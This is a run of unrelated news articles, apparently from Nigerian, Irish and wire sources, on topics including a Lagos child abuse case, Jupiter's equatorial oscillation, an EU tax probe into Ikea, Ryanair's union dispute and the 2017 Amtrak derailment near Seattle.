State governors are currently having an meeting on the auspices of the Nigeria Governors Forum, the meeting is being held inside the old Banquet Hall of the Presidential Villa, Abuja is also being attended by Speakers of States Houses of Assembly.

The meeting is being chaired by the forums chairman, Abdulazeez Yari, who is also the governor of Zamfara State.

It is believed to be in connection with the planned review of the constitution.

The Conference of Speakers has given a December 20 deadline to all Houses of Assembly to conclude debate on the proposed amendments sent to the states by the National Assembly.

Source: ( Punch Newspaper )
A 12-year-old girl, Favour Israel, has narrated how she was allegedly stripped naked and tortured by her mistress, one Mrs. Oshiaha, in the Somolu area of Lagos State.

The Victim alleged that after the torture, she was sent out of the house to find the missing money, adding that she slept outside the house.

She was later assisted by some worshippers at a branch of the Deeper Life Bible Church, who handed her over to social workers with the Lagos State Government.

It was gathered that Israel was the first of five children and she had been living with her parents until they separated.

After a divorce, her father was reported to have had an accident which damaged his leg.

Unable to take care of the children, the father was said to have handed her over to Oshiaha, who reportedly promised to take care of her in addition to sending her to school.

Israel claimed that since she arrived at the suspects house on Ayoade Street, Somolu, she had faced continuous maltreatment and abuse.

She said, It was when my father had an accident and started using crutches that things became hard for us. I had stopped going to school and a neighbour, who saw how we were suffering, told my father that she knew a woman in Lagos who could help us. She introduced the woman to my father and I was asked to follow her to Lagos.

She has three children and I took care of them. But since I arrived in Lagos in November 2016, she has been maltreating me. I fetched water, sweep the house, wash plates and run errands. Sometimes, I dont eat for a long time.

She put me in a school when I came to Lagos. But she sometimes stopped me from going even after finishing my chores because she would say I had to do another thing. I did not go to school some times for more than a week.

On Thursday night, she came back from the market and said her money was missing. I told her that I didnt know what happened to the money. She sent her first daughter to go to buy a cane. She told me to lie down on the ground and removed my clothes. She flogged me despite my insistence that I didnt steal her money. She chased me out and told me not to return until I find the money. I went outside and slept outside the gate.

Israel said she wanted to return to her father due to the abuse.

A worker with the Deeper Life Bible Church, Akinlolu Ayobami, told PUNCH Metro that the church was having a prayer session when the victim strayed in.

He explained that after the programme, she met him and asked for help.

She said she had not eaten for about two days and I had to get food for her. This was around 11am on Friday after we finished the programme. She said she was wandering about when she saw the signboard of the church and joined us, he added.

The matter was said to have been reported to policemen at the Somolu division, who arrested the suspect.

A social worker said that multiple marks of floggings were seen on Israels body, adding that she had been taken to a government shelter.

He explained that the victim was brutalised over N200.

The Director of the OPD, Mrs. Olubukola Salami, confirmed the incident, adding that the agency would continue to fight child abuse in the state.

She said, The OPD is concerned about the rise in child abuse in Lagos State in spite of legislative measures and several awareness and advocacy mechanisms put in place by the state government.

While the OPD will continue to get perpetrators to justice, we urge all residents to be vigilant and report all forms of child abuse in their communities.

Source: ( Punch Newspaper )
Two persons lost their lives while 21 others were injured last night in an auto crash, enroute Cotonou, Benin Republic on Monday night to celebrate Yuletide.

The accident occurred at Agodo village along Abeokuta-Kobape -Siun Expressway in Obafemi-Owode Local Government Area of Ogun State.

The Commander of Traffic Compliance and Enlightement Corps, Seni Ogunyemi, confirmed the accident to newsmen.

He said the vehicle involved was a blue-coloured Toyota bus with registration number MUS 974 XT. The bus had 24 occupants believed to be mostly Beninoise.

They include four males, 11 females and nine children said to be heading to Cotonou from Ijebu-Igbo town of Ogun State.

Mr. Ogunyemi said the crash occured following a burst tyre, adding that the victims have been taken to hospitals.

He said the hospitals where the victims were taken to as at the time of filing this report include Federal Medical Centre, Idi-Aba,Abeokuta; State Hospital, Ijaiye, Abeokuta; and Joseph Christian Specialist Hospital, Oke-Ilewo Abeokuta.

He also disclosed that the corpses were deposited at the morgue of State Hospital, Ijaiye, Abeokuta.

Source: ( Punch Newspaper )
The Peoples Democratic Party (PDP) has blasted the national chairmanship of the All Progressives Congress, Bola Tinubu, on his visit to Oyo State to welcome the former governor Adebayo Alao-Akala and other defectors to the party on Saturday, as an attempt to sell a rejected party to the people of Oyo State.

The former Chairman of Lagos State said, the defection of Alao-Akala, Teslim Folarin and others from the PDP to the APC was a sign that the APC had become the only party in the state and that the opposition had been finally buried.

But the PDP Publicity Secretary in the state, Akeem Olatunji, in a statement said the whole event and Tinubus statement betrayed his fear that the PDP had put its house in order.

Olatunji said, Our attention has been drawn to a statement credited to a national leader of the APC, Tinubu, at a function held to welcome defectors who have joined the APC, wherein he expressed his fears indirectly over the continuous rise and dominance of the PDP in Oyo State politics and Nigeria at large.

It is absurd that 90 per cent of the so-called defectors have ceased to be PDP members more than two years ago while the remaining 10 per cent are politicians who make their living through politics and hence the need to be in the ruling party at all times because they lack ideologies and principles.

The PDP in Oyo State actually pities Tinubu for the unenviable job of selling a rejected Oyo APC to the electorate whereas the party hierarchy including the national chairman knows that the Oyo APC is moribund. The Saturdays official declaration was just a charade to celebrate the birthday of Governor Abiola Ajimobi in an elaborate and wasteful manner.

The statement noted that the absence of key party figures like the APC National Chairman, John Odigie-Oyegun, and the Minister of Communication, Adebayo Shittu, showed that the event was a failure.

It is on record that the only minister from the state, Shittu; senators Monsurat Sunmonu, and Fatai Buhari, Dapo Lam-Adesina and many other political office holders on the platform of the APC boycotted the events to the surprise of Tinubu and Governor Ajimobi; a failed attempt to give a false hope that the APC is still alive in the state when all the indices show that the APC is virtually dead and the undertakers were admitted with funfair last Saturday.
Similar equatorial jet streams have been identified on Saturn and on Earth, where a rare disruption of the usual wind pattern complicated weather forecasts in early 2016. The new study combines modeling of Jupiter's atmosphere with detailed observations made over the course of five years from NASA's Infrared Telescope Facility, or IRTF, in Hawai'i. The findings could help scientists better understand the dynamic atmosphere of Jupiter and other planets, including those beyond our solar system.

Jupiter is much bigger than Earth, much farther from the Sun, rotates much faster, and has a very different composition, but it turns out to be an excellent laboratory for understanding this equatorial phenomenon, said Rick Cosentino, a postdoctoral fellow at NASA's Goddard Space Flight Center in Greenbelt, Maryland, and lead author of the paper published in the Journal of Geophysical Research-Planets.

Earth's equatorial jet stream was discovered after observers saw debris from the 1883 eruption of the Krakatoa volcano being carried by a westward wind in the stratosphere, the region of the atmosphere where modern airplanes achieve cruising altitude. Later, weather balloons documented an eastward wind in the stratosphere. Scientists eventually determined that these winds reversed course regularly and that both cases were part of the same phenomenon.

The alternating pattern starts in the lower stratosphere and propagates down to the boundary with the troposphere, or lowest layer of the atmosphere. In its eastward phase, it's associated with warmer temperatures. The westward phase is associated with cooler temperatures. The pattern is called Earth's quasi-biennial oscillation, or QBO, and one cycle lasts about 28 months. The phase of the QBO seems to influence the transport of ozone, water vapor and pollution in the upper atmosphere as well as the production of hurricanes.

Jupiter's cycle is called the quasi-quadrennial oscillation, or QQO, and it lasts about four Earth years. Saturn has its own version of the phenomenon, the quasi-periodic oscillation, with a duration of about 15 Earth years. Researchers have a general understanding of these patterns but are still working out how much various types of atmospheric waves contribute to driving the oscillations and how similar the phenomena are to each other.

Previous studies of Jupiter had identified the QQO by measuring temperatures in the stratosphere to infer wind speed and direction. The new set of measurements is the first to span one full cycle of the QQO and covers a much larger area of Jupiter. Observations extended over a large vertical range and spanned latitudes from about 40 degrees north to about 40 degrees south. The team achieved this by mounting a high-resolution instrument called TEXES, short for Texas Echelon Cross Echelle Spectrograph, on the IRTF.

These measurements were able to probe thin vertical slices of Jupiter's atmosphere, said co-author Amy Simon, a Goddard scientist who specializes in planetary atmospheres. Previous data sets had lower resolution, so the signals were essentially smeared out over a large section of the atmosphere.

The team found that the equatorial jet extends quite high into Jupiter's stratosphere. Because the measurements covered such a large region, the researchers could eliminate several kinds of atmospheric waves from being major contributors to the QQO, leaving gravity waves as the primary driver. Their model assumes gravity waves are produced by convection in the lower atmosphere and travel up into the stratosphere, where they force the QQO to change direction.

The results of simulations were an excellent match to the new set of observations, indicating that they correctly identified the mechanism. On Earth, gravity waves are considered most likely to be responsible for forcing the QBO to change direction, though they don't appear to be strong enough to do the job alone.

Through this study we gained a better understanding of the physical mechanisms coupling the lower and upper atmosphere in Jupiter, and thus a better understanding of the atmosphere as a whole, said Raul Morales-Juberias, the second author on the paper and an associate professor at the New Mexico Institute of Mining and Technology in Socorro. Despite the many differences between Earth and Jupiter, the coupling mechanisms between the lower and upper atmospheres in both planets are similar and have similar effects. Our model could be applied to study the effects of these mechanisms in other planets of the solar system and in exoplanets.

###

More information about Jupiter:

http://www. nasa. gov/ jupiter

More information about NASA's IRTF:

http://irtfweb. ifa. hawaii. edu/
Portland Container Co., a mobile-storage startup in Portland, Maine, has launched the self-storage component to its business inside a converted oil tank on Lincoln Street in South Portland. Owner Ben Davis intends to target owners of luxury boats and classic cars to store their valuable toys inside the 80-foot-tall structure. The circular tank is 110 feet in diameter and has been split into a large storage area, two smaller storage spaces and workshop spaces, according to the source. Davis also plans to stack about 100 portable-storage containers on the property.

We love the idea of repurposing industrial spaces, Davis told the source. Were in the container business. This is just a big containerthe ultimate container.

The tank is currently storing a 42-foot boat, two smaller vessels, a food truck and a couple of personal vehicles. Most of the tenants are clients from Davis other business, True Course Yachting Inc., a yacht-delivery and management company, the source reported.

The oil tank is surrounded by more than 24 others used to hold asphalt, jet fuel, oil and other hazardous substances. Its location offers extra security due to a constant presence of law enforcement and Homeland Security officers, Davis said.

Converting the tank to self-storage was the idea of Ed Benjamin, who bought the structure 10 years ago when it became vacant. Benjamin transformed the structure by filling a 6-foot deep underground base with debris from his demolition business and capping it with concrete to create its floor, according to the source. After the ceiling was lowered, the interior was divided into sections and rolling doors installed.

In addition to onsite storage, Portland Container intends to offer portable-storage and moving services to the surrounding area.
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Breaking EV Stock News: Mullen (NASDAQ: MULN) Announces Funding to Close on ELMS Assets

BREA, Calif. - November 17, 2022 (Investorideas.com Newswire) Mullen Automotive, Inc. (NASDAQ: MULN) ("Mullen" or the "Company"), an emerging electric vehicle (EV) manufacturer, announces today receipt of $150 million on Nov. 16, 2022, which will be used in part to close on ELMS assets.

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EV Companies on the Rise: (NASDAQ: MULN) (NASDAQ: TSLA) (NYSE: NIO) (NASDAQ: RIVN)

Vancouver, Kelowna, Delta, BC - November 16, 2022 (Investorideas.com Newswire) Investor Ideas Investorideas.com, a leading investor news resource covering EV stocks releases a special report on the continued growth within the sector

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Breaking AI Stock News: FatBrain (OTCQB: LZGI) Acquires UK-based Forecasting Innovator Predictive Black To Help SMEs Optimize Cash Management

NEW YORK, NY - November 15, 2022 (Investorideas.com Newswire) FatBrain AI (LZG International, Inc.) (OTCQB: LZGI), the leader in powerful and easy-to-use artificial intelligence (AI) solutions for star enterprises of tomorrow (some call SMEs), has acquired Predictive Black Ltd, a UK-based innovator of real-time cash management, financial insights and business wellness for SMEs.

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New Fashion Designer Launches this Holiday Season in Kelowna and Online; Sweet Dees Creations  Fun, Flirty and Affordable

Kelowna B.C. - November 14, 2022 (Investorideas.com Newswire) A local fashion designer is launching a new women's line at Kelowna markets and online this Holiday Season that will make heads turn with her whimsical and colourful choices

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IP Iustitia is a blog that discusses intellectual property law (and associated topics) , attempting to decipher it for those who engage with it once in their life, on a daily basis and anywhere in between.









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Regulators are looking at whether the retailers revenue deals in the Netherlands allowed it to avoid hundreds of millions of euros of taxes.

The tax breaks might have given Inter Ikea Group, which operated the Swedish furniture-makers franchise business, an unfair advantage over rivals, the commission said.

It will probe a 2006 deal on how Ikea calculates a licence fee paid by a Dutch unit to a Luxembourg branch, where it was exempted from tax. The EU will also look at a 2011 ruling on how the Dutch company paid tax on payments to a Liechtenstein unit.

A probe into Ikea, one of Europes best-known brands, may ease criticism that commissioner, Margrethe Vestager, has received for focusing on how US companies reduce taxes.

She has ordered Apple, Starbucks, and Amazon to repay tax, while a probe of McDonalds is continuing. Shes also suing the Government here for delays in reclaiming 13bn from Apple.

Ikea might have avoided at least 1bn in tax from income from stores between 2009 and 2014, according to a report by Greens-EFA lawmakers submitted to the EU last year. Ms Vestager said, last year, that the EU was vetting those claims.

Europe shows its teeth, said Sven Giegold, a German Green MEP.

Ikea has been using a series of tax loopholes for years to avoid paying taxes. It is the duty of the European Commission to stop these unfair behaviours and make sure that companies pay their taxes where they make their profits, he said.

Inter Ikea Group said: The way we have been taxed by national authorities, has, in our view, been in accordance with EU rules.

State aid investigations are a matter between the EU watchdog and concerned nations, Ikea said. The company said it will respond to any questions from Dutch authorities or from the Commission.

At a European Parliament hearing in March of last year, Ikea said its tax affairs were in line with international rules, echoing comments by other firms targeted by EU probes, including McDonalds and Apple.

The EU will investigate the Dutch tax treatment of Inter Ikea Systems, looking at whether a 2006 tax ruling on an annual licence fee paid to the Luxembourg branch reflects economic reality.

Theyll also review a 2011 tax ruling on the reorganisation of the companys tax affairs, looking at whether the price Inter Ikea Systems agreed on to buy intellectual property rights, and the interest paid on an inter-company loan, reflect economic reality.

Bloomberg
Darren McKinley, senior equity analyst at Merrion, said the 30-year legacy of the Ryanair boss  who has built Ryanair into one of the largest airlines in the world  is at risk if he remains at the helm.

Mr McKinleys assessment comes at the end of an extraordinary three months as a self-inflicted crisis enveloped the airline.

It was forced to recognise pilots unions in the face of a threat of cockpit strikes in Dublin and other major bases in the UK, Germany, Italy, Spain, and Portugal.

Ryanair shares continued to slide yesterday, bringing the losses since Friday to over 10%. That stripped about 2bn from its value in only two days. The airline is now valued at 17bn.

In September, Ryanair admitted a failed pilots roster had led to it cancelling 20,000 flights and forced it to offer pilots large bonuses of over 10,000 to keep many other planes flying.

The bargaining power of the fledgling unions was boosted, and in the last few days, the airline was forced to concede recognition and negotiate for the first time with pilots unions, a concession Mr OLeary had steadfastly blocked since succeeding as chief executive in the early 1990s.

He has clearly made a bit of a mess of this to some degree, said Mr McKinley.

He has said in the past that hell would freeze over before he would recognise unions. Basically, I think hes obviously managed an incredibly well-run ship and has delivered fantastic growth but he has a lot of issues: Pilots arent happy dealing with him [and have] maybe lost respect for him.

Mr McKinley said he believes Mr OLeary will face problems in maintaining the rapid pace of growth at the airline. He predicted Mr OLeary would stay for 12-14 months to see how the airline evolves under unionisation.

Signing up with the unions means less room for manoeuvre in the future. So he would run the risk of ruining his legacy, said Mr McKinley.

Credit Suisse downgraded the stock to neutral from outperform, citing concern that staff expenses will rise significantly beyond the 100m forecast by Ryanair for 2019. That could mean the carrier would lose much of its cost advantage over rival EasyJet, said analysts, including Neil Glynn, cutting their price target to 16.18 from 19.32.

Unions remain sceptical, though. Germanys Vereinigung Cockpit said it will hold off on any walkouts until meeting with Ryanair management on December 20.

The pilots group is weary the company may merely be trying to buy time, said spokesman Markus Wahl.

Not all analysts view the changes as so strongly negative. Stephen Furlong at Davy cut his price target to 17 from 20 while maintaining his outperform rating.

Damian Brewer at RBC Capital Markets said there may be negative repercussions for other carriers as more pilots begin to push pay claims, creating tensions for the entire industry.

Others say the lower value may mark a buying opportunity. The shares are now taking into consideration an overly punitive increase in staff costs of about 30%, on top of the 100m the airline had already flagged for better pilot pay, said JP Morgan analyst Christopher Combe. The market reaction at this stage appears overdone.

Additional reporting - Bloomberg
Newly filed accounts for Tommy Hilfigers Irish operations and those of rival clothing retailer Calvin Klein show both grew revenues and profits last year.

Pre-tax profits for Hilfiger Stores Ireland Ltd increased marginally to 471,000.

The companys revenues rose by 7% to 23.56m.

The company said its sales growth was driven by a strong collection and was realised with increased activities and higher mark-downs.

It added that next year will show a further growth in sales from continuing operations, additional store openings and concession opportunities.

Hilfiger Ireland said its aim in the coming years will shift from top-line to bottom-line increase.

There will be a focus on realising sales growth through existing stores with a steady or reduced cost, it said.

Numbers employed by the company increased marginally to 199.

Accounts for Calvin Klein Stores Ireland Ltd show that pre-tax profits increased by 26% to 98,861, with revenues rising by the same percentage to 4.94m.

Sales were helped by the first full-year contribution from its store in Dundrum Town Centre in Dublin.

Refits of the existing stores are planned for the coming financial year. Management are also focusing on areas of cost reduction in the coming year, said the company.
By Ann OLoughlin

An appeal over a challenge to a womans will, drawn up a week before she died and leaving her estate to her best friend, has been dismissed.

Hair stylist Celine Murphy (50), who died of cancer on March 15, 2011, left her 283,000 estate, primarily her apartment in Brownsbarn Court, Clondalkin, Dublin, to her best friend Mary Butler from Straffan in Co Kildare.

The will was drawn up when Ms Murphy arrived at Mrs Butlers home on March 8, the day before Ms Murphy was admitted to St Vincents Hospital in Dublin where she died a week later.

While Mrs Butler was not in her home that evening, her daughter Johanna was there with Latin Tridentine Bishop Michael Cox. Bishop Cox became executor and Johanna was asked to be a witness.

Subsequently, Ms Murphys sisters, Majella Rippington and Edel Banahan, along with Ms Rippingtons husband Shaun Rippington, asked the High Court to declare the will invalid. Ms Murphy was unmarried and had no children.

Mary Butler and Bishop Cox counter-claimed seeking to have the will declared valid.

Mrs Rippington, who personally represented herself, her sister and her husband, asserted invalidity on grounds of alleged duress and undue influence on her late sister.

In July 2015, Mr Justice Seamus Noonan declared the will to be valid and also ordered the costs of the case should not be borne by the estate but should be paid by the Rippington/Banahan side.

Mr Justice Noonan said he did this because of the outrageous and unsubstantiated allegations made by MajellaRippington.

He described Mrs Rippington as "domineering, manipulative and an utterly unreliable witness who was prepared to say anything she felt might serve her purpose".

He was satisfied Mrs Butler was a close and valued friend of Mrs Murphy. There was nothing irrational about the contents of her will and Ms Murphys treating doctor said she was of sound mind, he said.

Not "a single shred of evidence" was produced by the Rippington side to support "of any of these extremely serious and scandalous allegations", he also said.

Mrs Rippington had, in her evidence to the court, engaged "in what can only be described as attempt to assassinate the character of Mrs Butler", he said.

The Rippington/Banahan side appealed and on Tuesday, a three-judge court, dismissed the appeal.

Ms Justice Maire Whelan, on behalf of the court, however set aside the High Court costs order and said the appellants should pay the Butler/Cox costs.

Ms Justice Whelan rejected Mrs Rippingtons claims of bias by the High Court judge or that he had erred in his findings. She also rejected a claim the High Court failed to take into account and give consideration to the facts and evidence the appellants presented.

Merely because a litigant disagrees with a judges determination, based on evidence, can never in and of itself constitute a basis for asserting bias, she said.

She rejected the Rippington claim that Ms Murphy never actually went to the Butler home.

She was satisfied there was cogent evidence before the trial judge which entitled him to come to the conclusions he did, including his evaluation of the repsective witness, their motivation and demeanour.

The Appeal Court, which comprised its president Mr Justice Sean Ryan, Mr Justice Michael Peart and Ms Justice Whelan, also rejected a separate appeal by Mr and Mrs Rippington.

The court dismissed an application by them to extend time to appeal a 2012 High Court order appointing an independent administrator to extract a grant of administration to preserve the assets of the Murphy estate and pay its debts.
Moore Street campaigners are preparing to do battle again today.

Campaigners, TD's, Councillors and 1916 relatives will meet at Dublin's Supreme Court to defend last year's ruling which declared the 1916 battlefield site a national monument.

The Heritage Department is appealing the decision.

Patrick Cooney, from the Save 16 Moore Street Committee, said it is disappointing that the Government has decided to appeal the decision at a cost of 5m to the taxpayer.

"We're not backing off now and as we've said before publicly: If the appeal is upheld and we essentially lose we will immediately appeal the appeal," he said.

"So nothing is going to happen in that area. We, the campaign, and the vast majority of people, we believe, don't want a kind of Celtic Tiger out-of-date overscaled shopping centre. They want something better."
Ensuring that we never experience a homelessness crisis such as the current one is a key priority for the Simon Communities, writes Niamh Randall.

It is hard to look back on 2017 as another year when the housing and homelessness crisis continued to worsen.

The New Year will ring in with more than 5,000 adults and 3,000 children living in emergency accommodation, with many thousands more trapped in housing insecurity and hidden in doorways and squats across our towns and cities.

With the sheer scale of the crisis, it is important to remember that these numbers reflect real people and families trying to get on with their lives in very difficult circumstances.

Today, the Simon Communities are reporting the number of people we worked with last year increased to 11,005 people, an increase of a third in just one year.

While we have seen some move on to tenancies in the capital, in the absence of social and affordable housing or an accessible private rental sector, the majority have nowhere to go.

Every person has their own story, but what is common to all is that homelessness and housing insecurity is traumatic, stressful, and filled with uncertainty. The Government can and must do better in 2018.

The Simon Communities will support this in any way we can.

Soon after being appointed in June, Housing Minister Eoghan Murphy announced a review of Rebuilding Ireland.

The Simon Communities made a submission to this review, suggesting improvements to deliver secure social and affordable housing across all tenure types within sustainable communities nationwide; to prevent more people from becoming homeless; and to address the complex or multiple needs that can be a cause or consequence of homelessness.

The Government has acknowledged that the current market cannot deliver the required housing mix, therefore there must be a move away from private sector reliance and the commodification of housing.

We need the State, in conjunction with Local Authorities and Approved Housing Bodies, to build housing at the scale required, while preventing more people from becoming homeless. Those trapped in emergency accommodation need affordable homes with support where needed (housing first).

Increased housing supply will not impact affordability in short to medium term, therefore it is essential to act on the options that can deliver homes quickly.

Just under 190,000 homes lie empty in Ireland, more than enough to house people living in emergency accommodation.

Almost 11% of total housing stock is vacant in Ireland, almost twice the level expected in a functioning housing market.

The potential to deliver much-needed housing supply quickly is significant. The Government were due to publish the Empty Homes Strategy before summer; however, at the time of writing, that strategy remains unpublished.

Ensuring that we never experience a crisis such as this again is a key priority for the Simon Communities. The State must start looking at the housing and homeless crisis from a human rights-based approach.

To this end, in July, the Simon Communities, in conjunction with Mercy Law Resource Centre and senator Colette Kelleher, held a seminar in Trinity College, A Right to Housing.

People who are homeless are denied basic human rights and constitutional protection. Rights are intersectional meaning that the denial of one right often results in the denial of others.

Housing is a fundamental right that facilitates the enjoyment of so many other rights including health, education, employment, privacy and family life.

Under international human rights obligations, housing is considered a human right, not a commodity. To be adequately housed means having security of tenure  not having to worry about eviction or having your home taken away with very little notice.

It means having the right to live somewhere in peace and dignity with access to appropriate services, schools, and employment. Homelessness therefore is a clear violation of this right.

Were Ireland to enshrine the right to housing in the Constitution, this would provide a clear floor of protection in respect of access to basic adequate housing for all and the State would be obliged to ensure an adequate supply of social and affordable housing, with support as needed.

The recent Right to Housing Bill was referred to Committee for review and we ask the Government to ensure that this is prioritised in 2018 given its significance.

People in Ireland care deeply about the injustice and indignity of homelessness and housing instability, and the long-lasting impact on the lives of individuals, families and children.

Throughout ex-Hurricane Ophelia in October, as the Simon Communities and other organisations worked together to keep people safe, members of the public asked numerous questions about how the Government planned to ensure the safety of those who had no shelter.

The awful irony of advising people to stay home, when we have the greatest homelessness crisis of modern times, was not lost on people.

The huge public concern about these issues is clear to us every day in our work in the Simon Communities. People want action.

The Simon Communities have committed to adding additional emergency accommodation this year and acted quickly and proactively to recent weather conditions ensuring those who are vulnerable have shelter and safety.

This is in addition to supporting more than 2,800 people in housing and providing prevention, early intervention and advice services to 4,500 people 2016.

We hope that the Government hears what thousands of people standing with us are saying.

It is not fair or sustainable to keep offering people short-term solutions with little attention paid to their longer-term needs. Without shelter, safety and security it is almost impossible to function, to participate in society and to get involved in your community.

The Simon Communities will continue to let people know they have not been forgotten and left behind. That this is not acceptable for any man, woman or child in Ireland in 2018.

Niamh Randall is the national spokeswoman for the Simon Communities.
German Chancellor Angela Merkel has pledged to improve the way authorities respond to terror attacks as survivors and dignitaries marked the anniversary of last years truck rampage at a Berlin Christmas market.

Mrs Merkel was fiercely criticised by relatives in an open letter earlier this month, for the way security services failed to stop the attack and the authorities handling of the aftermath.

In a brief statement following an inter-religious memorial service at the Kaiser Wilhelm Memorial Church in the heart of west Berlin, she said she met relatives and some of the dozens of injured on Monday to hear their views.

"It was a very open and, on the part of the people affected, very blunt conversation which showed the weaknesses our state displayed in this situation," she said.

"We will do whats humanly possible not just to ensure security but to help give those whose life was destroyed or affected the opportunity to return to their life. Today is a day of grief, but also a day of willingness to do better."

The attack, carried out by a Tunisian asylum-seeker and petty criminal who had been on authorities radar for months, was the deadliest in decades on German soil.

Anis Amri managed to flee the country but was shot dead by Italian police days after the attack, which was later claimed by the Islamic State group.

Italian authorities are still investigating whether Amri had contacts in Rome or Sicily who helped him.

Following the service, Berlins mayor Michael Mueller unveiled a memorial on the Breitscheidplatz featuring the names of those killed on December 19 last year.

Angela Merkel

The memorial includes an almost 17-metre rift in the ground that was filled with a gold-coloured metal, symbolising the lives torn apart in the attack.

Relatives and dignitaries, including Mrs Merkel, placed candles and laid white roses beside the memorial.

AP
Theresa May and Donald Trump discussed their differing positions on the controversial American decision to recognise Jerusalem as the capital of Israel during a telephone call on Tuesday.

The Prime Minister and the US president also talked about the civil war in Yemen and the importance of a swift post-Brexit trans-Atlantic trade deal.

Mrs May spoke to the American president after Britain joined 13 other members of the United Nations Security Council in backing a resolution, vetoed by the US, which rejected the recognition of Jerusalem as the capital of Israel.

A Downing Street spokesman said: "They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital, and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts.

"The Prime Minister also raised Yemen, highlighting our ongoing deep concerns at the humanitarian situation. They agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

"The Prime Minister updated the president on the recent good progress of the Brexit negotiations, and the president set out the progress he had made on his economic agenda. They agreed on the importance of a swift post-Brexit bilateral trade deal.

"They wished each other a very merry Christmas and looked forward to keeping in close touch."

Mrs May also offered her condolences to the president for the loss of life in a train crash in Washington state this week.
Update 8.12am:The Amtrak train which derailed south of Seattle, killing three people and injuring dozens more, was travelling at 80mph in a 30mph zone, investigations have revealed.

The US National Transportation Safety Board (NTSB) said information from the event data recorder in the rear locomotive provided information about the train's speed at the time of the derailment in Washington state.

Authorities say at least three people were killed and dozens injured when the train derailed early on Monday morning, spilling train carriages onto the busy Interstate 5 road.

NTSB board member Bella Dinh-Zarr said it is not yet known what caused the train to derail and that "it's too early to tell" why it was going so fast.

Federal investigators are continuing their inquiries at the scene.

There were 80 passengers and five on duty crew when the train derailed and pulled 13 carriages off the tracks.

Authorities said there were three confirmed deaths. More than 70 people were taken for medical care, including 10 with serious injuries.

The accident happened on a newly-completed bypass built on an existing inland rail line that runs along Interstate 5 route from Tacoma to DuPont, near where Train 501 derailed.

Track testing began in January and February in advance of Monday's launch and continued through at least July, according to the Washington State Department of Transportation.

About two hours after the accident, a US official said he was told at least six people were killed. The official said he had no new information to explain the discrepancy in the numbers.

Kimberly Reason with Sound Transit, the Seattle-area transit agency that owns the tracks, confirmed earlier that the speed limit at the point where the train derailed is 30mph. Speed signs are posted two miles before the speed zone and just before the speed zone approaching the curve, she said.

Positive train control - the technology that can slow or stop a speeding train - was not in use on this stretch of track, according to Amtrak president Richard Anderson.

He said he was "deeply saddened by all that has happened today".

Dr Nathan Selden, a neurosurgeon at the Oregon Health and Science University in Portland, said he and his son drove through the accident scene while travelling north to visit Seattle. The doctor asked if he could help and was ushered to a medical triage tent in the highway median.

He said the most seriously injured had already been whisked away, but the patients he helped appeared to have open head wounds and skull, pelvic or leg fractures, as well as small cuts and neck sprains, he said.

Dr Selden called it a miracle an infant child he saw from the scene appeared completely unharmed.

Student Emma Shafer was headed home to Vancouver, Washington, on winter break from the Cornish College of the Arts in Seattle and was napping when the crash occurred.

She awoke to find her body at a 45-degree angle and her train car dangling from the overpass. Someone behind her was pinned by the legs, she said, and she and others who could walk exited the train by crawling onto a carriage underneath theirs which had been crushed.

She said: "It felt oddly silent after the actual crashing. There was a lot of metal, a lot of screeching, a lot of being thrown around. It was very quiet. Then there was people screaming.

First up close images of scene coming from @wspd1pio Trooper Bova, this is heartbreaking to see. Our thoughts & prayers to everyone involved. pic.twitter.com/ws460sjWRo  Pierce Co Sheriff (@PierceSheriff) December 18, 2017

"I don't know if I actually heard the sirens, but they were there. A guy was like, 'Hey, I'm Robert. We'll get you out of here.'"

President Donald Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident.

He said the accident shows "more than ever why our soon to be submitted infrastructure plan must be approved quickly".

The Amtrak Cascades service that runs from Vancouver, British Columbia, to Eugene, Oregon, is jointly owned by the Washington and Oregon transportation departments. Amtrak operates the service for the two states as a contractor and is responsible for day-to-day operations.

The Amtrak schedule called for the train to leave Seattle around 6am and arrive in Portland about three and a half hours later.

The mayor of Lakewood, Washington, a city along the new route, predicted a deadly crash - but one involving a fast-moving train hitting a car or pedestrian at a grade-crossing, not a train tumbling off an overpass.

Eric Corp, a councilman for the small city of DuPont, near the scene of the accident, said he rode the train with about 30 or so dignitaries and others on a special trip on Friday before the service opened to the public on Monday.

"Once we were coming up on that curve, the train slowed down considerably," he said, adding that "in no way did it make me feel like we were going too fast".

Earlier: Three confirmed dead after US train derails during first run on faster route

A train making the first run along a faster new route hurtled off an overpass in the US and spilled some of its cars on to the road below, killing at least three people, authorities said.

There were 80 passengers and five on duty crew when the train derailed south of Seattle and pulled 13 cars off the tracks. Authorities said there were three confirmed deaths. More than 70 people were taken for medical care - including 10 with serious injuries.

About two hours after the accident, a US official who was briefed on the investigation said he was told at least six people were killed. The official said he had no new information to explain the discrepancy in the numbers.

A website that maps location and speed using data from Amtrak's train tracker app shows the train was going 81.1mph about a quarter of a mile from the point where it derailed, where the speed limit is significantly lower.

NTSB did a report a month or so ago, which demonstrated that "they believe Amtrak has a safety culture problem, Former NTSB Chair Rosenker says https://t.co/2CyKkppdRE pic.twitter.com/zjNxxLzV15  CBS News (@CBSNews) December 18, 2017

A track chart prepared by the Washington State Department of Transportation shows the maximum speed drops from 79mph to 30mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

The chart, dated February 7 2017, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves 10 minutes off the trip between Seattle and Portland.

It was not clear how fast the train was moving at the precise moment when it derailed. National Transportation Safety Board investigators were at the scene trying to determine the derailment's cause.

Kimberly Reason with Sound Transit, the Seattle-area transit agency that owns the tracks, confirmed to the AP that the speed limit at the point where the train derailed is 30mph. Speed signs are posted two miles before the speed zone and just before the speed zone approaching the curve, she said.

Positive train control - the technology that can slow or stop a speeding train - was not in use on this stretch of track, according to Amtrak president Richard Anderson.

He spoke on a conference call with reporters, saying he was "deeply saddened by all that has happened today".

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed. Dispatch audio also indicated that the engineer survived with bleeding from the head and both eyes swollen shut.

"I'm still figuring that out. We've got cars everywhere and down on to the highway," he tells the dispatcher.

Aleksander Kristiansen, a 24-year-old exchange student at the University of Washington from Copenhagen, was going to Portland to visit the city for the day.

"I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly," he said.

